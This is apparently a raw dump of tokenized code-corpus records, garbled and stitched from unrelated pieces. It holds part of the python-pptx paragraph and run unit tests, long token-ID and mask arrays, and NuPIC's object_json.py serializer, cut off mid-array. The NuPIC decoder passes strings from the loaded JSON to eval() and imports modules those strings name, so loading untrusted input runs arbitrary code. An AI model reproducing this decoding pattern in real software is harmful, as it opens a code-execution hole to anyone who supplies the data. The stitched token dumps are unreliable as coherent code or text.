('a:p/a:pPr{lvl=1}', 2, 'a:p/a:pPr{lvl=2}'), ('a:p/a:pPr{lvl=2}', 0, 'a:p/a:pPr'), ]) def level_set_fixture(self, request): p_cxml, new_value, expected_p_cxml = request.param paragraph = _Paragraph(element(p_cxml), None) expected_xml = xml(expected_p_cxml) return paragraph, new_value, expected_xml @pytest.fixture def runs_fixture(self): p_cxml = 'a:p/(a:r/a:t"Foo",a:r/a:t"Bar",a:r/a:t"Baz")' paragraph = _Paragraph(element(p_cxml), None) expected_text = ('Foo', 'Bar', 'Baz') return paragraph, expected_text @pytest.fixture(params=[ ('a:p', None), ('a:p/a:pPr', None), ('a:p/a:pPr/a:lnSpc/a:spcPts{val=1800}', 228600), ('a:p/a:pPr/a:lnSpc/a:spcPct{val=142000}', 1.42), ('a:p/a:pPr/a:lnSpc/a:spcPct{val=124.64%}', 1.2464), ]) def spacing_get_fixture(self, request): p_cxml, expected_value = request.param paragraph = _Paragraph(element(p_cxml), None) return paragraph, expected_value @pytest.fixture(params=[ ('a:p', 1.42, 'a:p/a:pPr/a:lnSpc/a:spcPct{val=142000}'), ('a:p', Pt(42), 'a:p/a:pPr/a:lnSpc/a:spcPts{val=4200}'), ('a:p/a:pPr/a:lnSpc/a:spcPct{val=110000}', 0.875, 'a:p/a:pPr/a:lnSpc/a:spcPct{val=87500}'), ('a:p/a:pPr/a:lnSpc/a:spcPts{val=600}', Pt(42), 'a:p/a:pPr/a:lnSpc/a:spcPts{val=4200}'), ('a:p/a:pPr/a:lnSpc/a:spcPts{val=1900}', 0.925, 'a:p/a:pPr/a:lnSpc/a:spcPct{val=92500}'), ('a:p/a:pPr/a:lnSpc/a:spcPct{val=150000}', Pt(24), 'a:p/a:pPr/a:lnSpc/a:spcPts{val=2400}'), ('a:p/a:pPr/a:lnSpc/a:spcPts{val=600}', None, 'a:p/a:pPr'), ('a:p/a:pPr/a:lnSpc/a:spcPct{val=150000}', None, 'a:p/a:pPr'), ]) def spacing_set_fixture(self, request): p_cxml, new_value, expected_p_cxml = request.param paragraph = _Paragraph(element(p_cxml), None) expected_xml = xml(expected_p_cxml) return paragraph, new_value, expected_xml @pytest.fixture(params=[ ('a:p/a:r/a:t"foobar"', 'foobar'), ('a:p/(a:r/a:t"foo", a:r/a:t"bar")', 'foobar'), ('a:p/(a:r/a:t"foo", a:br, a:r/a:t"bar")', 'foo\nbar'), ('a:p/(a:r/a:t"foo ", a:fld/a:t"42", a:r/a:t" bar")', 'foo 42 bar'), ('a:p/(a:r/a:t" foo", a:br, a:fld/a:t"42")', ' foo\n42'), ('a:p/(a:pPr,a:r/a:t"foobar",a:endParaRPr)', 'foobar'), ('a:p/a:fld/a:t"42"', '42'), ('a:p/a:br', '\n'), ]) def text_get_fixture(self, request): p_cxml, expected_value = request.param paragraph = _Paragraph(element(p_cxml), None) return paragraph, expected_value @pytest.fixture(params=[ ('a:p/(a:r/a:t"foo",a:r/a:t"bar")', 'foobar', 'a:p/a:r/a:t"foobar"'), ('a:p', 'foo\nbar', 'a:p/(a:r/a:t"foo",a:br,a:r/a:t"bar")'), ('a:p', '\nfoo\n', 'a:p/(a:br,a:r/a:t"foo",a:br)'), ('a:p', 'foo\n', 'a:p/(a:r/a:t"foo",a:br)'), ('a:p', '7-bit str', 'a:p/a:r/a:t"7-bit str"'), ('a:p', '8-ɓïȶ str', u'a:p/a:r/a:t"8-ɓïȶ str"'), ('a:p', u'ŮŦƑ literal', u'a:p/a:r/a:t"ŮŦƑ literal"'), ('a:p', u'utf-8 unicode: Hér er texti', u'a:p/a:r/a:t"utf-8 unicode: Hér er texti"'), ]) def text_set_fixture(self, request): p_cxml, new_value, expected_p_cxml = request.param paragraph = _Paragraph(element(p_cxml), None) expected_xml = xml(expected_p_cxml) return paragraph, new_value, expected_xml # fixture components ----------------------------------- @pytest.fixture def Font_(self, request): return class_mock(request, 'pptx.text.text.Font') @pytest.fixture def p_bldr(self): return a_p().with_nsdecls() @pytest.fixture def p_with_r_xml(self): run_bldr = an_r().with_child(a_t()) return a_p().with_nsdecls().with_child(run_bldr).xml() @pytest.fixture def paragraph(self, p_bldr): return _Paragraph(p_bldr.element, None) class Describe_Run(object): def it_provides_access_to_its_font(self, font_fixture): run, rPr, Font_, font_ = font_fixture font = run.font Font_.assert_called_once_with(rPr) assert font == font_ def it_provides_access_to_a_hyperlink_proxy(self, hyperlink_fixture): run, rPr, _Hyperlink_, hlink_ = hyperlink_fixture hlink = run.hyperlink _Hyperlink_.assert_called_once_with(rPr, run) assert hlink is hlink_ def it_can_get_the_text_of_the_run(self, text_get_fixture): run, expected_value = text_get_fixture text = run.text assert text == expected_value assert is_unicode(text) def it_can_change_its_text(self, text_set_fixture): run, new_value, expected_xml = text_set_fixture run.text = new_value assert run._r.xml == expected_xml # fixtures --------------------------------------------- @pytest.fixture def font_fixture(self, Font_, font_): r = element('a:r/a:rPr') rPr = r.rPr run = _Run(r, None) return run, rPr, Font_, font_ @pytest.fixture def hyperlink_fixture(self, _Hyperlink_, hlink_): r = element('a:r/a:rPr') rPr = r.rPr run = _Run(r, None) return run, rPr, _Hyperlink_, hlink_ @pytest.fixture def text_get_fixture(self): r = element('a:r/a:t"foobar"') run = _Run(r, None) return run, 'foobar' @pytest.fixture(params=[ ('a:r/a:t', 'barfoo', 'a:r/a:t"barfoo"'), ]) def text_set_fixture(self, request): r_cxml, new_value, expected_r_cxml = request.param run = _Run(element(r_cxml), None) expected_xml = xml(expected_r_cxml) return run, new_value, expected_xml # fixture components ----------------------------------- @pytest.fixture def Font_(self, request, font_): return class_mock(request, 'pptx.text.text.Font', return_value=font_) @pytest.fixture def font_(self, request): return instance_mock(request, Font) @pytest.fixture def _Hyperlink_(self, request, hlink_): return class_mock( request, 'pptx.text.text._Hyperlink', return_value=hlink_ ) @pytest.fixture def hlink_(self, request): return instance_mock(request, _Hyperlink)
mit
[ 3, 2644, 26, 2774, 13, 24, 199, 199, 624, 199, 774, 5241, 367, 299, 541, 88, 14, 505, 14, 505, 859, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 646, 4613, 199, 199, 504, 299, 541, 88, 14, 5819, 492, 365, 63, 2975, 199, 504, 299, 541, 88, 14, 68, 757, 14, 2326, 492, 11581, 3484, 199, 504, 299, 541, 88, 14, 68, 757, 14, 4498, 492, 24797, 3484, 199, 504, 299, 541, 88, 14, 4869, 14, 505, 492, 603, 4118, 63, 20139, 726, 12, 603, 4118, 63, 13883, 63, 4305, 12, 603, 4118, 63, 6131, 540, 6174, 12, 510, 48, 63, 15255, 199, 504, 299, 541, 88, 14, 411, 67, 14, 5559, 492, 820, 2901, 2594, 3234, 1772, 63, 2711, 465, 24090, 199, 504, 299, 541, 88, 14, 411, 67, 14, 2491, 492, 14320, 199, 504, 299, 541, 88, 14, 9069, 14, 2495, 1392, 492, 16528, 199, 504, 299, 541, 88, 14, 505, 14, 505, 492, 26159, 12, 485, 18727, 1073, 12, 485, 24038, 12, 485, 2540, 12, 4516, 3160, 199, 504, 299, 541, 88, 14, 1974, 492, 1010, 12253, 12, 510, 84, 199, 199, 504, 2508, 79, 1652, 14, 3248, 576, 14, 505, 492, 282, 63, 80, 12, 282, 63, 84, 12, 376, 63, 72, 1073, 12040, 12, 376, 63, 82, 12, 376, 63, 82, 9779, 199, 504, 2508, 3248, 1974, 14, 67, 1652, 492, 1819, 12, 2748, 199, 504, 2508, 3248, 1974, 14, 1805, 492, 334, 272, 1021, 63, 1805, 12, 1256, 63, 1805, 12, 560, 3362, 63, 1805, 12, 1083, 63, 1805, 12, 3324, 63, 1805, 199, 9, 421, 199, 533, 28571, 1235, 1872, 3160, 8, 785, 304, 339, 347, 652, 63, 20532, 63, 1405, 63, 2495, 890, 63, 6031, 8, 277, 12, 2599, 890, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 585, 275, 2599, 890, 63, 362, 63, 5997, 267, 702, 1318, 63, 1943, 14, 2495, 63, 890, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1461, 63, 1405, 63, 2495, 890, 63, 6031, 8, 277, 12, 2599, 890, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 574, 12, 1420, 63, 1652, 275, 2599, 890, 63, 409, 63, 5997, 267, 1318, 63, 1943, 14, 2495, 63, 890, 275, 574, 267, 702, 1318, 63, 1943, 423, 2347, 8173, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20532, 63, 1405, 63, 9650, 63, 1751, 8, 277, 12, 11042, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 5931, 63, 354, 12, 4137, 12, 1420, 63, 585, 275, 11042, 63, 362, 63, 5997, 267, 11042, 63, 585, 275, 2519, 8, 505, 63, 1943, 12, 5931, 63, 354, 9, 267, 702, 2519, 8, 9650, 63, 585, 12, 4137, 9, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1461, 63, 1405, 63, 9650, 63, 1751, 8, 277, 12, 11042, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 5931, 63, 354, 12, 892, 63, 585, 12, 1420, 63, 1652, 275, 11042, 63, 409, 63, 5997, 267, 5371, 8, 505, 63, 1943, 12, 5931, 63, 354, 12, 892, 63, 585, 9, 267, 702, 1318, 63, 1943, 423, 2347, 8173, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20532, 63, 1405, 63, 7870, 63, 13699, 8, 277, 12, 12514, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 585, 275, 12514, 63, 362, 63, 5997, 267, 702, 1318, 63, 1943, 14, 7870, 63, 11498, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1461, 63, 1405, 63, 7870, 63, 13699, 8, 277, 12, 12514, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 892, 63, 585, 12, 1420, 63, 1652, 275, 12514, 63, 409, 63, 5997, 267, 1318, 63, 1943, 14, 7870, 63, 11498, 275, 892, 63, 585, 267, 702, 1318, 63, 1943, 423, 2108, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20532, 63, 1405, 63, 1027, 63, 3823, 63, 6031, 8, 277, 12, 4816, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 585, 275, 4816, 63, 362, 63, 5997, 267, 702, 1318, 63, 1943, 14, 1027, 63, 3823, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1461, 63, 1405, 63, 1027, 63, 3823, 63, 6031, 8, 277, 12, 4816, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 892, 63, 585, 12, 1420, 63, 1652, 275, 4816, 63, 409, 63, 5997, 267, 1318, 63, 1943, 14, 1027, 63, 3823, 275, 892, 63, 585, 267, 702, 1318, 63, 1943, 423, 2108, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20121, 63, 2732, 63, 475, 63, 1405, 63, 12400, 83, 8, 277, 12, 26603, 63, 5997, 304, 267, 1318, 63, 1943, 12, 7347, 275, 26603, 63, 5997, 267, 26603, 275, 1318, 63, 1943, 14, 12400, 83, 267, 702, 822, 8, 12400, 83, 9, 508, 822, 8, 1190, 9, 267, 367, 4280, 12, 13168, 315, 3874, 8, 12400, 83, 304, 288, 702, 1228, 8, 12400, 12, 485, 24038, 9, 288, 702, 13168, 423, 2108, 365, 7347, 59, 2996, 61, 339, 347, 652, 63, 2425, 63, 525, 63, 65, 63, 12400, 63, 475, 63, 390, 277, 8, 277, 12, 1050, 63, 12400, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 1652, 275, 1050, 63, 12400, 63, 5997, 267, 1318, 63, 1943, 14, 525, 63, 12400, 342, 267, 702, 1318, 63, 1943, 423, 2347, 8173, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20532, 63, 10058, 63, 505, 63, 390, 63, 6134, 8, 277, 12, 1318, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 585, 275, 1318, 63, 362, 63, 5997, 267, 702, 1318, 63, 1943, 14, 505, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1814, 63, 1589, 63, 505, 63, 390, 63, 6134, 8, 277, 12, 1318, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1318, 12, 1420, 63, 1652, 275, 1318, 63, 409, 63, 5997, 267, 1318, 63, 1943, 14, 505, 275, 1318, 267, 702, 1318, 63, 1943, 423, 2108, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 3536 ]
[ 2644, 26, 2774, 13, 24, 199, 199, 624, 199, 774, 5241, 367, 299, 541, 88, 14, 505, 14, 505, 859, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 870, 63, 1593, 199, 199, 646, 4613, 199, 199, 504, 299, 541, 88, 14, 5819, 492, 365, 63, 2975, 199, 504, 299, 541, 88, 14, 68, 757, 14, 2326, 492, 11581, 3484, 199, 504, 299, 541, 88, 14, 68, 757, 14, 4498, 492, 24797, 3484, 199, 504, 299, 541, 88, 14, 4869, 14, 505, 492, 603, 4118, 63, 20139, 726, 12, 603, 4118, 63, 13883, 63, 4305, 12, 603, 4118, 63, 6131, 540, 6174, 12, 510, 48, 63, 15255, 199, 504, 299, 541, 88, 14, 411, 67, 14, 5559, 492, 820, 2901, 2594, 3234, 1772, 63, 2711, 465, 24090, 199, 504, 299, 541, 88, 14, 411, 67, 14, 2491, 492, 14320, 199, 504, 299, 541, 88, 14, 9069, 14, 2495, 1392, 492, 16528, 199, 504, 299, 541, 88, 14, 505, 14, 505, 492, 26159, 12, 485, 18727, 1073, 12, 485, 24038, 12, 485, 2540, 12, 4516, 3160, 199, 504, 299, 541, 88, 14, 1974, 492, 1010, 12253, 12, 510, 84, 199, 199, 504, 2508, 79, 1652, 14, 3248, 576, 14, 505, 492, 282, 63, 80, 12, 282, 63, 84, 12, 376, 63, 72, 1073, 12040, 12, 376, 63, 82, 12, 376, 63, 82, 9779, 199, 504, 2508, 3248, 1974, 14, 67, 1652, 492, 1819, 12, 2748, 199, 504, 2508, 3248, 1974, 14, 1805, 492, 334, 272, 1021, 63, 1805, 12, 1256, 63, 1805, 12, 560, 3362, 63, 1805, 12, 1083, 63, 1805, 12, 3324, 63, 1805, 199, 9, 421, 199, 533, 28571, 1235, 1872, 3160, 8, 785, 304, 339, 347, 652, 63, 20532, 63, 1405, 63, 2495, 890, 63, 6031, 8, 277, 12, 2599, 890, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 585, 275, 2599, 890, 63, 362, 63, 5997, 267, 702, 1318, 63, 1943, 14, 2495, 63, 890, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1461, 63, 1405, 63, 2495, 890, 63, 6031, 8, 277, 12, 2599, 890, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 574, 12, 1420, 63, 1652, 275, 2599, 890, 63, 409, 63, 5997, 267, 1318, 63, 1943, 14, 2495, 63, 890, 275, 574, 267, 702, 1318, 63, 1943, 423, 2347, 8173, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20532, 63, 1405, 63, 9650, 63, 1751, 8, 277, 12, 11042, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 5931, 63, 354, 12, 4137, 12, 1420, 63, 585, 275, 11042, 63, 362, 63, 5997, 267, 11042, 63, 585, 275, 2519, 8, 505, 63, 1943, 12, 5931, 63, 354, 9, 267, 702, 2519, 8, 9650, 63, 585, 12, 4137, 9, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1461, 63, 1405, 63, 9650, 63, 1751, 8, 277, 12, 11042, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 5931, 63, 354, 12, 892, 63, 585, 12, 1420, 63, 1652, 275, 11042, 63, 409, 63, 5997, 267, 5371, 8, 505, 63, 1943, 12, 5931, 63, 354, 12, 892, 63, 585, 9, 267, 702, 1318, 63, 1943, 423, 2347, 8173, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20532, 63, 1405, 63, 7870, 63, 13699, 8, 277, 12, 12514, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 585, 275, 12514, 63, 362, 63, 5997, 267, 702, 1318, 63, 1943, 14, 7870, 63, 11498, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1461, 63, 1405, 63, 7870, 63, 13699, 8, 277, 12, 12514, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 892, 63, 585, 12, 1420, 63, 1652, 275, 12514, 63, 409, 63, 5997, 267, 1318, 63, 1943, 14, 7870, 63, 11498, 275, 892, 63, 585, 267, 702, 1318, 63, 1943, 423, 2108, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20532, 63, 1405, 63, 1027, 63, 3823, 63, 6031, 8, 277, 12, 4816, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 585, 275, 4816, 63, 362, 63, 5997, 267, 702, 1318, 63, 1943, 14, 1027, 63, 3823, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1461, 63, 1405, 63, 1027, 63, 3823, 63, 6031, 8, 277, 12, 4816, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 892, 63, 585, 12, 1420, 63, 1652, 275, 4816, 63, 409, 63, 5997, 267, 1318, 63, 1943, 14, 1027, 63, 3823, 275, 892, 63, 585, 267, 702, 1318, 63, 1943, 423, 2108, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20121, 63, 2732, 63, 475, 63, 1405, 63, 12400, 83, 8, 277, 12, 26603, 63, 5997, 304, 267, 1318, 63, 1943, 12, 7347, 275, 26603, 63, 5997, 267, 26603, 275, 1318, 63, 1943, 14, 12400, 83, 267, 702, 822, 8, 12400, 83, 9, 508, 822, 8, 1190, 9, 267, 367, 4280, 12, 13168, 315, 3874, 8, 12400, 83, 304, 288, 702, 1228, 8, 12400, 12, 485, 24038, 9, 288, 702, 13168, 423, 2108, 365, 7347, 59, 2996, 61, 339, 347, 652, 63, 2425, 63, 525, 63, 65, 63, 12400, 63, 475, 63, 390, 277, 8, 277, 12, 1050, 63, 12400, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 1652, 275, 1050, 63, 12400, 63, 5997, 267, 1318, 63, 1943, 14, 525, 63, 12400, 342, 267, 702, 1318, 63, 1943, 423, 2347, 8173, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 20532, 63, 10058, 63, 505, 63, 390, 63, 6134, 8, 277, 12, 1318, 63, 362, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1420, 63, 585, 275, 1318, 63, 362, 63, 5997, 267, 702, 1318, 63, 1943, 14, 505, 508, 1420, 63, 585, 339, 347, 652, 63, 2425, 63, 1814, 63, 1589, 63, 505, 63, 390, 63, 6134, 8, 277, 12, 1318, 63, 409, 63, 5997, 304, 267, 1318, 63, 1943, 12, 1318, 12, 1420, 63, 1652, 275, 1318, 63, 409, 63, 5997, 267, 1318, 63, 1943, 14, 505, 275, 1318, 267, 702, 1318, 63, 1943, 423, 2108, 14, 1652, 508, 1420, 63, 1652, 339, 347, 652, 63, 3536, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
tkaitchuck/nupic
py/nupic/support/object_json.py
2
5097
# ---------------------------------------------------------------------- # Numenta Platform for Intelligent Computing (NuPIC) # Copyright (C) 2013, Numenta, Inc. Unless you have purchased from # Numenta, Inc. a separate commercial license for this software code, the # following terms and conditions apply: # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License version 3 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see http://www.gnu.org/licenses. # # http://numenta.org/licenses/ # ---------------------------------------------------------------------- """JSON encoding and decoding.""" # Pylint gets confused about return types from deserialization. # pylint: disable=E1103 import json import sys NON_OBJECT_TYPES = (type(None), bool, int, float, long, str, unicode) class Types(object): TUPLE = 'py/tuple' SET = 'py/set' DATETIME = 'datetime/datetime.datetime' REPR = 'py/repr' OBJECT = 'py/object' KEYS = 'py/dict/keys' def getImportPath(obj): cls = obj.__class__ return '%s.%s' % (cls.__module__, cls.__name__) def convertDict(obj): obj = dict(obj) for k, v in obj.items(): del obj[k] if not (isinstance(k, str) or isinstance(k, unicode)): k = dumps(k) # Keep track of which keys need to be decoded when loading. if Types.KEYS not in obj: obj[Types.KEYS] = [] obj[Types.KEYS].append(k) obj[k] = convertObjects(v) return obj def restoreKeysPostDecoding(obj): if isinstance(obj, dict): if Types.KEYS in obj: for k in obj[Types.KEYS]: v = obj[k] del obj[k] newKey = loads(k) obj[newKey] = v del obj[Types.KEYS] for k, v in obj.items(): if isinstance(v, dict): obj[k] = restoreKeysPostDecoding(v) elif isinstance(obj, list): obj = [restoreKeysPostDecoding(item) for item in obj] elif isinstance(obj, set): obj = set([restoreKeysPostDecoding(item) for item in obj]) elif isinstance(obj, tuple): obj = tuple([restoreKeysPostDecoding(item) for item in obj]) return obj def convertObjects(obj): if type(obj) in NON_OBJECT_TYPES: return obj elif isinstance(obj, list): return [convertObjects(item) for item in obj] elif isinstance(obj, dict): return convertDict(obj) elif isinstance(obj, tuple): return {Types.TUPLE: [convertObjects(item) for item in obj]} elif isinstance(obj, set): return {Types.SET: [convertObjects(item) for item in obj]} else: if hasattr(obj, '__getstate__'): state = obj.__getstate__() elif hasattr(obj, '__slots__'): values = map(lambda x: getattr(obj, x), obj.__slots__) state = dict(zip(obj.__slots__, values)) elif hasattr(obj, '__dict__'): state = obj.__dict__ else: if not hasattr(obj, '__class__'): raise TypeError('Cannot encode object: %s' % repr(obj)) state = {Types.REPR: repr(obj)} state[Types.OBJECT] = getImportPath(obj) return convertObjects(state) def objectDecoderHook(obj): obj = restoreKeysPostDecoding(obj) if isinstance(obj, dict): if Types.TUPLE in obj: return tuple(obj[Types.TUPLE]) elif Types.SET in obj: return set(obj[Types.SET]) elif Types.DATETIME in obj: return eval(obj[Types.DATETIME]) elif Types.REPR in obj: module, name = obj[Types.OBJECT].rsplit('.', 1) return eval(obj[Types.REPR], {module: __import__(module)}) elif Types.OBJECT in obj: module, name = obj[Types.OBJECT].rsplit('.', 1) __import__(module) cls = getattr(sys.modules[module], name) try: if hasattr(cls, '__new__'): instance = cls.__new__(cls) else: instance = object.__new__(cls) except TypeError: try: instance = cls() except TypeError: raise TypeError('Old style class cannot be instantiated: %s' % obj[Types.OBJECT]) attrs = obj del attrs[Types.OBJECT] if hasattr(instance, '__setstate__'): instance.__setstate__(attrs) else: for k, v in attrs.iteritems(): setattr(instance, k, v) return instance return obj def clean(s): """Removes trailing whitespace on each line.""" lines = [l.rstrip() for l in s.split('\n')] return '\n'.join(lines) def dumps(obj, **kwargs): return clean(json.dumps(convertObjects(obj), **kwargs)) def dump(obj, f, **kwargs): f.write(dumps(obj, **kwargs)) def loads(s, **kwargs): return restoreKeysPostDecoding( json.loads(s, object_hook=objectDecoderHook, **kwargs)) def load(f, **kwargs): return restoreKeysPostDecoding( json.load(f, object_hook=objectDecoderHook, **kwargs))
gpl-3.0
[ 3, 20359, 199, 3, 22783, 16078, 367, 8883, 24024, 27799, 334, 21988, 26769, 9, 199, 3, 1898, 334, 35, 9, 6171, 12, 22783, 12, 3277, 14, 221, 4158, 1265, 1172, 15932, 68, 687, 199, 3, 22783, 12, 3277, 14, 282, 7396, 2414, 23012, 4190, 367, 642, 2032, 1233, 12, 314, 199, 3, 2569, 2895, 436, 3704, 4838, 26, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 1015, 650, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 199, 3, 1666, 314, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 1455, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 14, 199, 3, 199, 3, 1455, 921, 78, 18952, 14, 1308, 15, 2383, 15, 199, 3, 20359, 199, 199, 624, 6243, 2644, 436, 15952, 1041, 199, 199, 3, 1611, 3854, 7545, 3743, 2972, 3595, 372, 2943, 687, 477, 12161, 14, 199, 3, 4287, 26, 3507, 29, 37, 6019, 19, 199, 199, 646, 2022, 199, 646, 984, 199, 199, 13887, 63, 9868, 63, 7893, 275, 334, 466, 8, 403, 395, 2155, 12, 1109, 12, 2069, 12, 1846, 12, 620, 12, 2649, 9, 421, 199, 533, 18851, 8, 785, 304, 523, 377, 28970, 275, 283, 647, 15, 2960, 7, 523, 11543, 275, 283, 647, 15, 409, 7, 523, 17971, 10931, 275, 283, 2083, 15, 2083, 14, 2083, 7, 523, 5363, 3311, 275, 283, 647, 15, 2722, 7, 523, 28652, 5550, 275, 283, 647, 15, 785, 7, 523, 9301, 51, 275, 283, 647, 15, 807, 15, 1612, 7, 421, 199, 318, 664, 6295, 2042, 8, 1113, 304, 523, 843, 275, 1559, 855, 533, 363, 523, 372, 1543, 83, 4111, 83, 7, 450, 334, 1886, 855, 578, 3108, 843, 855, 354, 3368, 421, 199, 318, 3957, 2141, 8, 1113, 304, 523, 1559, 275, 1211, 8, 1113, 9, 523, 367, 1022, 12, 373, 315, 1559, 14, 1744, 837, 272, 2150, 1559, 59, 75, 61, 272, 340, 440, 334, 6074, 8, 75, 12, 620, 9, 503, 1228, 8, 75, 12, 2649, 2298, 489, 1022, 275, 16864, 8, 75, 9, 489, 327, 14797, 4426, 402, 1314, 2883, 1929, 370, 506, 11203, 1380, 8697, 14, 489, 340, 18851, 14, 17434, 440, 315, 1559, 26, 267, 1559, 59, 4100, 14, 17434, 61, 275, 942, 489, 1559, 59, 4100, 14, 17434, 1055, 740, 8, 75, 9, 272, 1559, 59, 75, 61, 275, 3957, 11188, 8, 86, 9, 523, 372, 1559, 421, 199, 318, 9066, 6340, 6564, 872, 1523, 8, 1113, 304, 523, 340, 1228, 8, 1113, 12, 1211, 304, 272, 340, 18851, 14, 17434, 315, 1559, 26, 489, 367, 1022, 315, 1559, 59, 4100, 14, 17434, 2189, 267, 373, 275, 1559, 59, 75, 61, 267, 2150, 1559, 59, 75, 61, 267, 892, 1197, 275, 14404, 8, 75, 9, 267, 1559, 59, 1222, 1197, 61, 275, 373, 489, 2150, 1559, 59, 4100, 14, 17434, 61, 272, 367, 1022, 12, 373, 315, 1559, 14, 1744, 837, 489, 340, 1228, 8, 86, 12, 1211, 304, 267, 1559, 59, 75, 61, 275, 9066, 6340, 6564, 872, 1523, 8, 86, 9, 523, 916, 1228, 8, 1113, 12, 769, 304, 272, 1559, 275, 359, 8011, 6340, 6564, 872, 1523, 8, 1053, 9, 367, 1242, 315, 1559, 61, 523, 916, 1228, 8, 1113, 12, 663, 304, 272, 1559, 275, 663, 779, 8011, 6340, 6564, 872, 1523, 8, 1053, 9, 367, 1242, 315, 1559, 566, 523, 916, 1228, 